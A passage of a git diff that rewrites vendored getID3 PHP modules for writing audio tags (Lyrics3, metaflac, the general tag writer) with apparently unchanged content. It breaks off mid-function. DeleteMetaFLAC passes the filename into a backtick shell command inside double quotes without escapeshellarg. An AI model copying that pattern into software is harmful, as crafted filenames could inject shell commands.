$ID3v2ShortFrameNameLookup[3]['relative_volume_adjustment'] = 'RVAD'; + $ID3v2ShortFrameNameLookup[3]['date'] = 'TDAT'; + $ID3v2ShortFrameNameLookup[3]['time'] = 'TIME'; + $ID3v2ShortFrameNameLookup[3]['original_year'] = 'TORY'; + $ID3v2ShortFrameNameLookup[3]['recording_dates'] = 'TRDA'; + $ID3v2ShortFrameNameLookup[3]['size'] = 'TSIZ'; + $ID3v2ShortFrameNameLookup[3]['year'] = 'TYER'; + + + // The following are unique to ID3v2.4 + $ID3v2ShortFrameNameLookup[4]['audio_seek_point_index'] = 'ASPI'; + $ID3v2ShortFrameNameLookup[4]['equalisation'] = 'EQU2'; + $ID3v2ShortFrameNameLookup[4]['relative_volume_adjustment'] = 'RVA2'; + $ID3v2ShortFrameNameLookup[4]['seek_frame'] = 'SEEK'; + $ID3v2ShortFrameNameLookup[4]['signature_frame'] = 'SIGN'; + $ID3v2ShortFrameNameLookup[4]['encoding_time'] = 'TDEN'; + $ID3v2ShortFrameNameLookup[4]['original_release_time'] = 'TDOR'; + $ID3v2ShortFrameNameLookup[4]['recording_time'] = 'TDRC'; + $ID3v2ShortFrameNameLookup[4]['release_time'] = 'TDRL'; + $ID3v2ShortFrameNameLookup[4]['tagging_time'] = 'TDTG'; + $ID3v2ShortFrameNameLookup[4]['involved_people_list'] = 'TIPL'; + $ID3v2ShortFrameNameLookup[4]['musician_credits_list'] = 'TMCL'; + $ID3v2ShortFrameNameLookup[4]['mood'] = 'TMOO'; + $ID3v2ShortFrameNameLookup[4]['produced_notice'] = 'TPRO'; + $ID3v2ShortFrameNameLookup[4]['album_sort_order'] = 'TSOA'; + $ID3v2ShortFrameNameLookup[4]['performer_sort_order'] = 'TSOP'; + $ID3v2ShortFrameNameLookup[4]['title_sort_order'] = 'TSOT'; + $ID3v2ShortFrameNameLookup[4]['set_subtitle'] = 'TSST'; + $ID3v2ShortFrameNameLookup[4]['year'] = 'TDRC'; // subset of ISO 8601: valid timestamps are yyyy, yyyy-MM, yyyy-MM-dd, yyyy-MM-ddTHH, yyyy-MM-ddTHH:mm and yyyy-MM-ddTHH:mm:ss. All time stamps are UTC + } + return (isset($ID3v2ShortFrameNameLookup[$majorversion][strtolower($long_description)]) ? $ID3v2ShortFrameNameLookup[$majorversion][strtolower($long_description)] : ''); + + } + +} + diff --git a/vendor/james-heinrich/getid3/getid3/write.lyrics3.php b/vendor/james-heinrich/getid3/getid3/write.lyrics3.php index e145091e36..4c5c86861c 100644 --- a/vendor/james-heinrich/getid3/getid3/write.lyrics3.php +++ b/vendor/james-heinrich/getid3/getid3/write.lyrics3.php @@ -1,97 +1,97 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// write.lyrics3.php // -// module for writing Lyrics3 tags // -// dependencies: module.tag.lyrics3.php // -// /// -///////////////////////////////////////////////////////////////// - - -class getid3_write_lyrics3 -{ - /** - * @var string - */ - public $filename; - - /** - * @var array - */ - public $tag_data; - //public $lyrics3_version = 2; // 1 or 2 - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteLyrics3() { - $this->errors[] = 'WriteLyrics3() not yet functional - cannot write Lyrics3'; - return false; - } - - /** - * @return bool - */ - public function DeleteLyrics3() { - // Initialize getID3 engine - $getID3 = new getID3; - $ThisFileInfo = $getID3->analyze($this->filename); - if (isset($ThisFileInfo['lyrics3']['tag_offset_start']) && isset($ThisFileInfo['lyrics3']['tag_offset_end'])) { - if (is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'a+b'))) { - - flock($fp, LOCK_EX); - $oldignoreuserabort = ignore_user_abort(true); - - fseek($fp, $ThisFileInfo['lyrics3']['tag_offset_end']); - $DataAfterLyrics3 = ''; - if ($ThisFileInfo['filesize'] > $ThisFileInfo['lyrics3']['tag_offset_end']) { - $DataAfterLyrics3 = fread($fp, $ThisFileInfo['filesize'] - $ThisFileInfo['lyrics3']['tag_offset_end']); - } - - ftruncate($fp, $ThisFileInfo['lyrics3']['tag_offset_start']); - - if (!empty($DataAfterLyrics3)) { - fseek($fp, $ThisFileInfo['lyrics3']['tag_offset_start']); - fwrite($fp, $DataAfterLyrics3, strlen($DataAfterLyrics3)); - } - - flock($fp, LOCK_UN); - fclose($fp); - ignore_user_abort($oldignoreuserabort); - - return true; - - } else { - $this->errors[] = 'Cannot fopen('.$this->filename.', "a+b")'; - return false; - } - } - // no Lyrics3 present - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// write.lyrics3.php // +// module for writing Lyrics3 tags // +// dependencies: module.tag.lyrics3.php // +// /// +///////////////////////////////////////////////////////////////// + + +class getid3_write_lyrics3 +{ + /** + * @var string + */ + public $filename; + + /** + * @var array + */ + public $tag_data; + //public $lyrics3_version = 2; // 1 or 2 + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteLyrics3() { + $this->errors[] = 'WriteLyrics3() not yet functional - cannot write Lyrics3'; + return false; + } + + /** + * @return bool + */ + public function DeleteLyrics3() { + // Initialize getID3 engine + $getID3 = new getID3; + $ThisFileInfo = $getID3->analyze($this->filename); + if (isset($ThisFileInfo['lyrics3']['tag_offset_start']) && isset($ThisFileInfo['lyrics3']['tag_offset_end'])) { + if (is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'a+b'))) { + + flock($fp, LOCK_EX); + $oldignoreuserabort = ignore_user_abort(true); + + fseek($fp, $ThisFileInfo['lyrics3']['tag_offset_end']); + $DataAfterLyrics3 = ''; + if ($ThisFileInfo['filesize'] > $ThisFileInfo['lyrics3']['tag_offset_end']) { + $DataAfterLyrics3 = fread($fp, $ThisFileInfo['filesize'] - $ThisFileInfo['lyrics3']['tag_offset_end']); + } + + ftruncate($fp, $ThisFileInfo['lyrics3']['tag_offset_start']); + + if (!empty($DataAfterLyrics3)) { + fseek($fp, $ThisFileInfo['lyrics3']['tag_offset_start']); + fwrite($fp, $DataAfterLyrics3, strlen($DataAfterLyrics3)); + } + + flock($fp, LOCK_UN); + fclose($fp); + ignore_user_abort($oldignoreuserabort); + + return true; + + } else { + $this->errors[] = 'Cannot fopen('.$this->filename.', "a+b")'; + return false; + } + } + // no Lyrics3 present + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/write.metaflac.php b/vendor/james-heinrich/getid3/getid3/write.metaflac.php index a1310b75b8..29863344db 100644 --- a/vendor/james-heinrich/getid3/getid3/write.metaflac.php +++ b/vendor/james-heinrich/getid3/getid3/write.metaflac.php @@ -1,238 +1,238 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// write.metaflac.php // -// module for writing metaflac tags // -// dependencies: /helperapps/metaflac.exe // -// /// -///////////////////////////////////////////////////////////////// - - -class getid3_write_metaflac -{ - /** - * @var string - */ - public $filename; - - /** - * @var array - */ - public $tag_data; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - private $pictures = array(); - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteMetaFLAC() { - - if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { - $this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call metaflac, tags not written'; - return false; - } - - $tempfilenames = array(); - - - if (!empty($this->tag_data['ATTACHED_PICTURE'])) { - foreach ($this->tag_data['ATTACHED_PICTURE'] as $key => $picturedetails) { - $temppicturefilename = tempnam(GETID3_TEMP_DIR, 'getID3'); - $tempfilenames[] = $temppicturefilename; - if (getID3::is_writable($temppicturefilename) && is_file($temppicturefilename) && ($fpcomments = fopen($temppicturefilename, 'wb'))) { - // https://xiph.org/flac/documentation_tools_flac.html#flac_options_picture - // [TYPE]|[MIME-TYPE]|[DESCRIPTION]|[WIDTHxHEIGHTxDEPTH[/COLORS]]|FILE - fwrite($fpcomments, $picturedetails['data']); - fclose($fpcomments); - $picture_typeid = (!empty($picturedetails['picturetypeid']) ? $this->ID3v2toFLACpictureTypes($picturedetails['picturetypeid']) : 3); // default to "3:Cover (front)" - $picture_mimetype = (!empty($picturedetails['mime']) ? $picturedetails['mime'] : ''); // should be auto-detected - $picture_width_height_depth = ''; - $this->pictures[] = $picture_typeid.'|'.$picture_mimetype.'|'.preg_replace('#[^\x20-\x7B\x7D-\x7F]#', '', $picturedetails['description']).'|'.$picture_width_height_depth.'|'.$temppicturefilename; - } else { - $this->errors[] = 'failed to open temporary tags file, tags not written - fopen("'.$temppicturefilename.'", "wb")'; - return false; - } - } - unset($this->tag_data['ATTACHED_PICTURE']); - } - - - // Create file with new comments - $tempcommentsfilename = tempnam(GETID3_TEMP_DIR, 'getID3'); - $tempfilenames[] = $tempcommentsfilename; - if (getID3::is_writable($tempcommentsfilename) && is_file($tempcommentsfilename) && ($fpcomments = fopen($tempcommentsfilename, 'wb'))) { - foreach ($this->tag_data as $key => $value) { - foreach ($value as $commentdata) { - fwrite($fpcomments, $this->CleanmetaflacName($key).'='.$commentdata."\n"); - } - } - fclose($fpcomments); - - } else { - $this->errors[] = 'failed to open temporary tags file, tags not written - fopen("'.$tempcommentsfilename.'", "wb")'; - return false; - } - - $oldignoreuserabort = ignore_user_abort(true); - if (GETID3_OS_ISWINDOWS) { - - if (file_exists(GETID3_HELPERAPPSDIR.'metaflac.exe')) { - //$commandline = '"'.GETID3_HELPERAPPSDIR.'metaflac.exe" --no-utf8-convert --remove-all-tags --import-tags-from="'.$tempcommentsfilename.'" "'.str_replace('/', '\\', $this->filename).'"'; - // metaflac works fine if you copy-paste the above commandline into a command prompt, - // but refuses to work with `backtick` if there are "doublequotes" present around BOTH - // the metaflac pathname and the target filename. For whatever reason...?? - // The solution is simply ensure that the metaflac pathname has no spaces, - // and therefore does not need to be quoted - - // On top of that, if error messages are not always captured properly under Windows - // To at least see if there was a problem, compare file modification timestamps before and after writing - clearstatcache(); - $timestampbeforewriting = filemtime($this->filename); - - $commandline = GETID3_HELPERAPPSDIR.'metaflac.exe --no-utf8-convert --remove-all-tags --import-tags-from='.escapeshellarg($tempcommentsfilename); - foreach ($this->pictures as $picturecommand) { - $commandline .= ' --import-picture-from='.escapeshellarg($picturecommand); - } - $commandline .= ' '.escapeshellarg($this->filename).' 2>&1'; - $metaflacError = `$commandline`; - - if (empty($metaflacError)) { - clearstatcache(); - if ($timestampbeforewriting == filemtime($this->filename)) { - $metaflacError = 'File modification timestamp has not changed - it looks like the tags were not written'; - } - } - } else { - $metaflacError = 'metaflac.exe not found in '.GETID3_HELPERAPPSDIR; - } - - } else { - - // It's simpler on *nix - $commandline = 'metaflac --no-utf8-convert --remove-all-tags --import-tags-from='.escapeshellarg($tempcommentsfilename); - foreach ($this->pictures as $picturecommand) { - $commandline .= ' --import-picture-from='.escapeshellarg($picturecommand); - } - $commandline .= ' '.escapeshellarg($this->filename).' 2>&1'; - $metaflacError = `$commandline`; - - } - - // Remove temporary comments file - foreach ($tempfilenames as $tempfilename) { - unlink($tempfilename); - } - ignore_user_abort($oldignoreuserabort); - - if (!empty($metaflacError)) { - - $this->errors[] = 'System call to metaflac failed with this message returned: '."\n\n".$metaflacError; - return false; - - } - - return true; - } - - /** - * @return bool - */ - public function DeleteMetaFLAC() { - - if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { - $this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call metaflac, tags not deleted'; - return false; - } - - $oldignoreuserabort = ignore_user_abort(true); - if (GETID3_OS_ISWINDOWS) { - - if (file_exists(GETID3_HELPERAPPSDIR.'metaflac.exe')) { - // To at least see if there was a problem, compare file modification timestamps before and after writing - clearstatcache(); - $timestampbeforewriting = filemtime($this->filename); - - $commandline = GETID3_HELPERAPPSDIR.'metaflac.exe --remove-all-tags "'.$this->filename.'" 2>&1'; - $metaflacError = `$commandline`; - - if (empty($metaflacError)) { - clearstatcache(); - if ($timestampbeforewriting == filemtime($this->filename)) { - $metaflacError = 'File modification timestamp has not changed - it looks like the tags were not deleted'; - } - } - } else { - $metaflacError = 'metaflac.exe not found in '.GETID3_HELPERAPPSDIR; - } - - } else { - - // It's simpler on *nix - $commandline = 'metaflac --remove-all-tags "'.$this->filename.'" 2>&1'; - $metaflacError = `$commandline`; - - } - - ignore_user_abort($oldignoreuserabort); - - if (!empty($metaflacError)) { - $this->errors[] = 'System call to metaflac failed with this message returned: '."\n\n".$metaflacError; - return false; - } - return true; - } - - /** - * @param int $id3v2_picture_typeid - * - * @return int - */ - public function ID3v2toFLACpictureTypes($id3v2_picture_typeid) { - // METAFLAC picture type list is identical to ID3v2 picture type list (as least up to 0x14 "Publisher/Studio logotype") - // http://id3.org/id3v2.4.0-frames (section 4.14) - // https://xiph.org/flac/documentation_tools_flac.html#flac_options_picture - //return (isset($ID3v2toFLACpictureTypes[$id3v2_picture_typeid]) ? $ID3v2toFLACpictureTypes[$id3v2_picture_typeid] : 3); // default: "3: Cover (front)" - return (($id3v2_picture_typeid <= 0x14) ? $id3v2_picture_typeid : 3); // default: "3: Cover (front)" - } - - /** - * @param string $originalcommentname - * - * @return string - */ - public function CleanmetaflacName($originalcommentname) { - // A case-insensitive field name that may consist of ASCII 0x20 through 0x7D, 0x3D ('=') excluded. - // ASCII 0x41 through 0x5A inclusive (A-Z) is to be considered equivalent to ASCII 0x61 through - // 0x7A inclusive (a-z). - - // replace invalid chars with a space, return uppercase text - // Thanks Chris Bolt for improving this function - // note: *reg_replace() replaces nulls with empty string (not space) - return strtoupper(preg_replace('#[^ -<>-}]#', ' ', str_replace("\x00", ' ', $originalcommentname))); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// write.metaflac.php // +// module for writing metaflac tags // +// dependencies: /helperapps/metaflac.exe // +// /// +///////////////////////////////////////////////////////////////// + + +class getid3_write_metaflac +{ + /** + * @var string + */ + public $filename; + + /** + * @var array + */ + public $tag_data; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + private $pictures = array(); + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteMetaFLAC() { + + if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { + $this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call metaflac, tags not written'; + return false; + } + + $tempfilenames = array(); + + + if (!empty($this->tag_data['ATTACHED_PICTURE'])) { + foreach ($this->tag_data['ATTACHED_PICTURE'] as $key => $picturedetails) { + $temppicturefilename = tempnam(GETID3_TEMP_DIR, 'getID3'); + $tempfilenames[] = $temppicturefilename; + if (getID3::is_writable($temppicturefilename) && is_file($temppicturefilename) && ($fpcomments = fopen($temppicturefilename, 'wb'))) { + // https://xiph.org/flac/documentation_tools_flac.html#flac_options_picture + // [TYPE]|[MIME-TYPE]|[DESCRIPTION]|[WIDTHxHEIGHTxDEPTH[/COLORS]]|FILE + fwrite($fpcomments, $picturedetails['data']); + fclose($fpcomments); + $picture_typeid = (!empty($picturedetails['picturetypeid']) ? $this->ID3v2toFLACpictureTypes($picturedetails['picturetypeid']) : 3); // default to "3:Cover (front)" + $picture_mimetype = (!empty($picturedetails['mime']) ? $picturedetails['mime'] : ''); // should be auto-detected + $picture_width_height_depth = ''; + $this->pictures[] = $picture_typeid.'|'.$picture_mimetype.'|'.preg_replace('#[^\x20-\x7B\x7D-\x7F]#', '', $picturedetails['description']).'|'.$picture_width_height_depth.'|'.$temppicturefilename; + } else { + $this->errors[] = 'failed to open temporary tags file, tags not written - fopen("'.$temppicturefilename.'", "wb")'; + return false; + } + } + unset($this->tag_data['ATTACHED_PICTURE']); + } + + + // Create file with new comments + $tempcommentsfilename = tempnam(GETID3_TEMP_DIR, 'getID3'); + $tempfilenames[] = $tempcommentsfilename; + if (getID3::is_writable($tempcommentsfilename) && is_file($tempcommentsfilename) && ($fpcomments = fopen($tempcommentsfilename, 'wb'))) { + foreach ($this->tag_data as $key => $value) { + foreach ($value as $commentdata) { + fwrite($fpcomments, $this->CleanmetaflacName($key).'='.$commentdata."\n"); + } + } + fclose($fpcomments); + + } else { + $this->errors[] = 'failed to open temporary tags file, tags not written - fopen("'.$tempcommentsfilename.'", "wb")'; + return false; + } + + $oldignoreuserabort = ignore_user_abort(true); + if (GETID3_OS_ISWINDOWS) { + + if (file_exists(GETID3_HELPERAPPSDIR.'metaflac.exe')) { + //$commandline = '"'.GETID3_HELPERAPPSDIR.'metaflac.exe" --no-utf8-convert --remove-all-tags --import-tags-from="'.$tempcommentsfilename.'" "'.str_replace('/', '\\', $this->filename).'"'; + // metaflac works fine if you copy-paste the above commandline into a command prompt, + // but refuses to work with `backtick` if there are "doublequotes" present around BOTH + // the metaflac pathname and the target filename. For whatever reason...?? + // The solution is simply ensure that the metaflac pathname has no spaces, + // and therefore does not need to be quoted + + // On top of that, if error messages are not always captured properly under Windows + // To at least see if there was a problem, compare file modification timestamps before and after writing + clearstatcache(); + $timestampbeforewriting = filemtime($this->filename); + + $commandline = GETID3_HELPERAPPSDIR.'metaflac.exe --no-utf8-convert --remove-all-tags --import-tags-from='.escapeshellarg($tempcommentsfilename); + foreach ($this->pictures as $picturecommand) { + $commandline .= ' --import-picture-from='.escapeshellarg($picturecommand); + } + $commandline .= ' '.escapeshellarg($this->filename).' 2>&1'; + $metaflacError = `$commandline`; + + if (empty($metaflacError)) { + clearstatcache(); + if ($timestampbeforewriting == filemtime($this->filename)) { + $metaflacError = 'File modification timestamp has not changed - it looks like the tags were not written'; + } + } + } else { + $metaflacError = 'metaflac.exe not found in '.GETID3_HELPERAPPSDIR; + } + + } else { + + // It's simpler on *nix + $commandline = 'metaflac --no-utf8-convert --remove-all-tags --import-tags-from='.escapeshellarg($tempcommentsfilename); + foreach ($this->pictures as $picturecommand) { + $commandline .= ' --import-picture-from='.escapeshellarg($picturecommand); + } + $commandline .= ' '.escapeshellarg($this->filename).' 2>&1'; + $metaflacError = `$commandline`; + + } + + // Remove temporary comments file + foreach ($tempfilenames as $tempfilename) { + unlink($tempfilename); + } + ignore_user_abort($oldignoreuserabort); + + if (!empty($metaflacError)) { + + $this->errors[] = 'System call to metaflac failed with this message returned: '."\n\n".$metaflacError; + return false; + + } + + return true; + } + + /** + * @return bool + */ + public function DeleteMetaFLAC() { + + if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { + $this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call metaflac, tags not deleted'; + return false; + } + + $oldignoreuserabort = ignore_user_abort(true); + if (GETID3_OS_ISWINDOWS) { + + if (file_exists(GETID3_HELPERAPPSDIR.'metaflac.exe')) { + // To at least see if there was a problem, compare file modification timestamps before and after writing + clearstatcache(); + $timestampbeforewriting = filemtime($this->filename); + + $commandline = GETID3_HELPERAPPSDIR.'metaflac.exe --remove-all-tags "'.$this->filename.'" 2>&1'; + $metaflacError = `$commandline`; + + if (empty($metaflacError)) { + clearstatcache(); + if ($timestampbeforewriting == filemtime($this->filename)) { + $metaflacError = 'File modification timestamp has not changed - it looks like the tags were not deleted'; + } + } + } else { + $metaflacError = 'metaflac.exe not found in '.GETID3_HELPERAPPSDIR; + } + + } else { + + // It's simpler on *nix + $commandline = 'metaflac --remove-all-tags "'.$this->filename.'" 2>&1'; + $metaflacError = `$commandline`; + + } + + ignore_user_abort($oldignoreuserabort); + + if (!empty($metaflacError)) { + $this->errors[] = 'System call to metaflac failed with this message returned: '."\n\n".$metaflacError; + return false; + } + return true; + } + + /** + * @param int $id3v2_picture_typeid + * + * @return int + */ + public function ID3v2toFLACpictureTypes($id3v2_picture_typeid) { + // METAFLAC picture type list is identical to ID3v2 picture type list (as least up to 0x14 "Publisher/Studio logotype") + // http://id3.org/id3v2.4.0-frames (section 4.14) + // https://xiph.org/flac/documentation_tools_flac.html#flac_options_picture + //return (isset($ID3v2toFLACpictureTypes[$id3v2_picture_typeid]) ? $ID3v2toFLACpictureTypes[$id3v2_picture_typeid] : 3); // default: "3: Cover (front)" + return (($id3v2_picture_typeid <= 0x14) ? $id3v2_picture_typeid : 3); // default: "3: Cover (front)" + } + + /** + * @param string $originalcommentname + * + * @return string + */ + public function CleanmetaflacName($originalcommentname) { + // A case-insensitive field name that may consist of ASCII 0x20 through 0x7D, 0x3D ('=') excluded. + // ASCII 0x41 through 0x5A inclusive (A-Z) is to be considered equivalent to ASCII 0x61 through + // 0x7A inclusive (a-z). + + // replace invalid chars with a space, return uppercase text + // Thanks Chris Bolt for improving this function + // note: *reg_replace() replaces nulls with empty string (not space) + return strtoupper(preg_replace('#[^ -<>-}]#', ' ', str_replace("\x00", ' ', $originalcommentname))); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/write.php b/vendor/james-heinrich/getid3/getid3/write.php index 41aff5da56..1167e0f76d 100644 --- a/vendor/james-heinrich/getid3/getid3/write.php +++ b/vendor/james-heinrich/getid3/getid3/write.php @@ -1,768 +1,768 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -/// // -// write.php // -// module for writing tags (APEv2, ID3v1, ID3v2) // -// dependencies: getid3.lib.php // -// write.apetag.php (optional) // -// write.id3v1.php (optional) // -// write.id3v2.php (optional) // -// write.vorbiscomment.php (optional) // -// write.metaflac.php (optional) // -// write.lyrics3.php (optional) // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { - throw new Exception('getid3.php MUST be included before calling getid3_writetags'); -} -if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) { - throw new Exception('write.php depends on getid3.lib.php, which is missing.'); -} - -/** - * NOTES: - * - * You should pass data here with standard field names as follows: - * * TITLE - * * ARTIST - * * ALBUM - * * TRACKNUMBER - * * COMMENT - * * GENRE - * * YEAR - * * ATTACHED_PICTURE (ID3v2 only) - * The APEv2 Tag Items Keys definition says "TRACK" is correct but foobar2000 uses "TRACKNUMBER" instead - * Pass data here as "TRACKNUMBER" for compatability with all formats - * - * @link http://www.personal.uni-jena.de/~pfk/mpp/sv8/apekey.html - */ -class getid3_writetags -{ - /** - * Absolute filename of file to write tags to. - * - * @var string - */ - public $filename; - - /** - * Array of tag formats to write ('id3v1', 'id3v2.2', 'id2v2.3', 'id3v2.4', 'ape', 'vorbiscomment', - * 'metaflac', 'real'). - * - * @var array - */ - public $tagformats = array(); - - /** - * 2-dimensional array of tag data (ex: $data['ARTIST'][0] = 'Elvis'). - * - * @var array - */ - public $tag_data = array(array()); - - /** - * Text encoding used for tag data ('ISO-8859-1', 'UTF-8', 'UTF-16', 'UTF-16LE', 'UTF-16BE', ). - * - * @var string - */ - public $tag_encoding = 'ISO-8859-1'; - - /** - * If true will erase existing tag data and write only passed data; if false will merge passed data - * with existing tag data. - * - * @var bool - */ - public $overwrite_tags = true; - - /** - * If true will erase remove all existing tags and only write those passed in $tagformats; - * If false will ignore any tags not mentioned in $tagformats. - * - * @var bool - */ - public $remove_other_tags = false; - - /** - * ISO-639-2 3-character language code needed for some ID3v2 frames. - * - * @link http://www.id3.org/iso639-2.html - * - * @var string - */ - public $id3v2_tag_language = 'eng'; - - /** - * Minimum length of ID3v2 tags (will be padded to this length if tag data is shorter). - * - * @var int - */ - public $id3v2_paddedlength = 4096; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - /** - * Analysis of file before writing. - * - * @var array - */ - private $ThisFileInfo; - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteTags() { - - if (empty($this->filename)) { - $this->errors[] = 'filename is undefined in getid3_writetags'; - return false; - } elseif (!file_exists($this->filename)) { - $this->errors[] = 'filename set to non-existant file "'.$this->filename.'" in getid3_writetags'; - return false; - } - - if (!is_array($this->tagformats)) { - $this->errors[] = 'tagformats must be an array in getid3_writetags'; - return false; - } - // prevent duplicate tag formats - $this->tagformats = array_unique($this->tagformats); - - // prevent trying to specify more than one version of ID3v2 tag to write simultaneously - $id3typecounter = 0; - foreach ($this->tagformats as $tagformat) { - if (substr(strtolower($tagformat), 0, 6) == 'id3v2.') { - $id3typecounter++; - } - } - if ($id3typecounter > 1) { - $this->errors[] = 'tagformats must not contain more than one version of ID3v2'; - return false; - } - - $TagFormatsToRemove = array(); - $AllowedTagFormats = array(); - if (filesize($this->filename) == 0) { - - // empty file special case - allow any tag format, don't check existing format - // could be useful if you want to generate tag data for a non-existant file - $this->ThisFileInfo = array('fileformat'=>''); - $AllowedTagFormats = array('id3v1', 'id3v2.2', 'id3v2.3', 'id3v2.4', 'ape', 'lyrics3'); - - } else { - - $getID3 = new getID3; - $getID3->encoding = $this->tag_encoding; - $this->ThisFileInfo = $getID3->analyze($this->filename); - - // check for what file types are allowed on this fileformat - switch (isset($this->ThisFileInfo['fileformat']) ? $this->ThisFileInfo['fileformat'] : '') { - case 'mp3': - case 'mp2': - case 'mp1': - case 'riff': // maybe not officially, but people do it anyway - $AllowedTagFormats = array('id3v1', 'id3v2.2', 'id3v2.3', 'id3v2.4', 'ape', 'lyrics3'); - break; - - case 'mpc': - $AllowedTagFormats = array('ape'); - break; - - case 'flac': - $AllowedTagFormats = array('metaflac'); - break; - - case 'real': - $AllowedTagFormats = array('real'); - break; - - case 'ogg': - switch (isset($this->ThisFileInfo['audio']['dataformat']) ? $this->ThisFileInfo['audio']['dataformat'] : '') { - case 'flac': - //$AllowedTagFormats = array('metaflac'); - $this->errors[] = 'metaflac is not (yet) compatible with OggFLAC files'; - return false; - case 'vorbis': - $AllowedTagFormats = array('vorbiscomment'); - break; - default: - $this->errors[] = 'metaflac is not (yet) compatible with Ogg files other than OggVorbis'; - return false; - } - break; - - default: - $AllowedTagFormats = array(); - break; - } - foreach ($this->tagformats as $requested_tag_format) { - if (!in_array($requested_tag_format, $AllowedTagFormats)) { - $errormessage = 'Tag format "'.$requested_tag_format.'" is not allowed on "'.(isset($this->ThisFileInfo['fileformat']) ? $this->ThisFileInfo['fileformat'] : ''); - $errormessage .= (isset($this->ThisFileInfo['audio']['dataformat']) ? '.'.$this->ThisFileInfo['audio']['dataformat'] : ''); - $errormessage .= '" files'; - $this->errors[] = $errormessage; - return false; - } - } - - // List of other tag formats, removed if requested - if ($this->remove_other_tags) { - foreach ($AllowedTagFormats as $AllowedTagFormat) { - switch ($AllowedTagFormat) { - case 'id3v2.2': - case 'id3v2.3': - case 'id3v2.4': - if (!in_array('id3v2', $TagFormatsToRemove) && !in_array('id3v2.2', $this->tagformats) && !in_array('id3v2.3', $this->tagformats) && !in_array('id3v2.4', $this->tagformats)) { - $TagFormatsToRemove[] = 'id3v2'; - } - break; - - default: - if (!in_array($AllowedTagFormat, $this->tagformats)) { - $TagFormatsToRemove[] = $AllowedTagFormat; - } - break; - } - } - } - } - - $WritingFilesToInclude = array_merge($this->tagformats, $TagFormatsToRemove); - - // Check for required include files and include them - foreach ($WritingFilesToInclude as $tagformat) { - switch ($tagformat) { - case 'ape': - $GETID3_ERRORARRAY = &$this->errors; - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.apetag.php', __FILE__, true); - break; - - case 'id3v1': - case 'lyrics3': - case 'vorbiscomment': - case 'metaflac': - case 'real': - $GETID3_ERRORARRAY = &$this->errors; - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.'.$tagformat.'.php', __FILE__, true); - break; - - case 'id3v2.2': - case 'id3v2.3': - case 'id3v2.4': - case 'id3v2': - $GETID3_ERRORARRAY = &$this->errors; - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.id3v2.php', __FILE__, true); - break; - - default: - $this->errors[] = 'unknown tag format "'.$tagformat.'" in $tagformats in WriteTags()'; - return false; - } - - } - - // Validation of supplied data - if (!is_array($this->tag_data)) { - $this->errors[] = '$this->tag_data is not an array in WriteTags()'; - return false; - } - // convert supplied data array keys to upper case, if they're not already - foreach ($this->tag_data as $tag_key => $tag_array) { - if (strtoupper($tag_key) !== $tag_key) { - $this->tag_data[strtoupper($tag_key)] = $this->tag_data[$tag_key]; - unset($this->tag_data[$tag_key]); - } - } - // convert source data array keys to upper case, if they're not already - if (!empty($this->ThisFileInfo['tags'])) { - foreach ($this->ThisFileInfo['tags'] as $tag_format => $tag_data_array) { - foreach ($tag_data_array as $tag_key => $tag_array) { - if (strtoupper($tag_key) !== $tag_key) { - $this->ThisFileInfo['tags'][$tag_format][strtoupper($tag_key)] = $this->ThisFileInfo['tags'][$tag_format][$tag_key]; - unset($this->ThisFileInfo['tags'][$tag_format][$tag_key]); - } - } - } - } - - // Convert "TRACK" to "TRACK_NUMBER" (if needed) for compatability with all formats - if (isset($this->tag_data['TRACK']) && !isset($this->tag_data['TRACK_NUMBER'])) { - $this->tag_data['TRACK_NUMBER'] = $this->tag_data['TRACK']; - unset($this->tag_data['TRACK']); - } - - // Remove all other tag formats, if requested - if 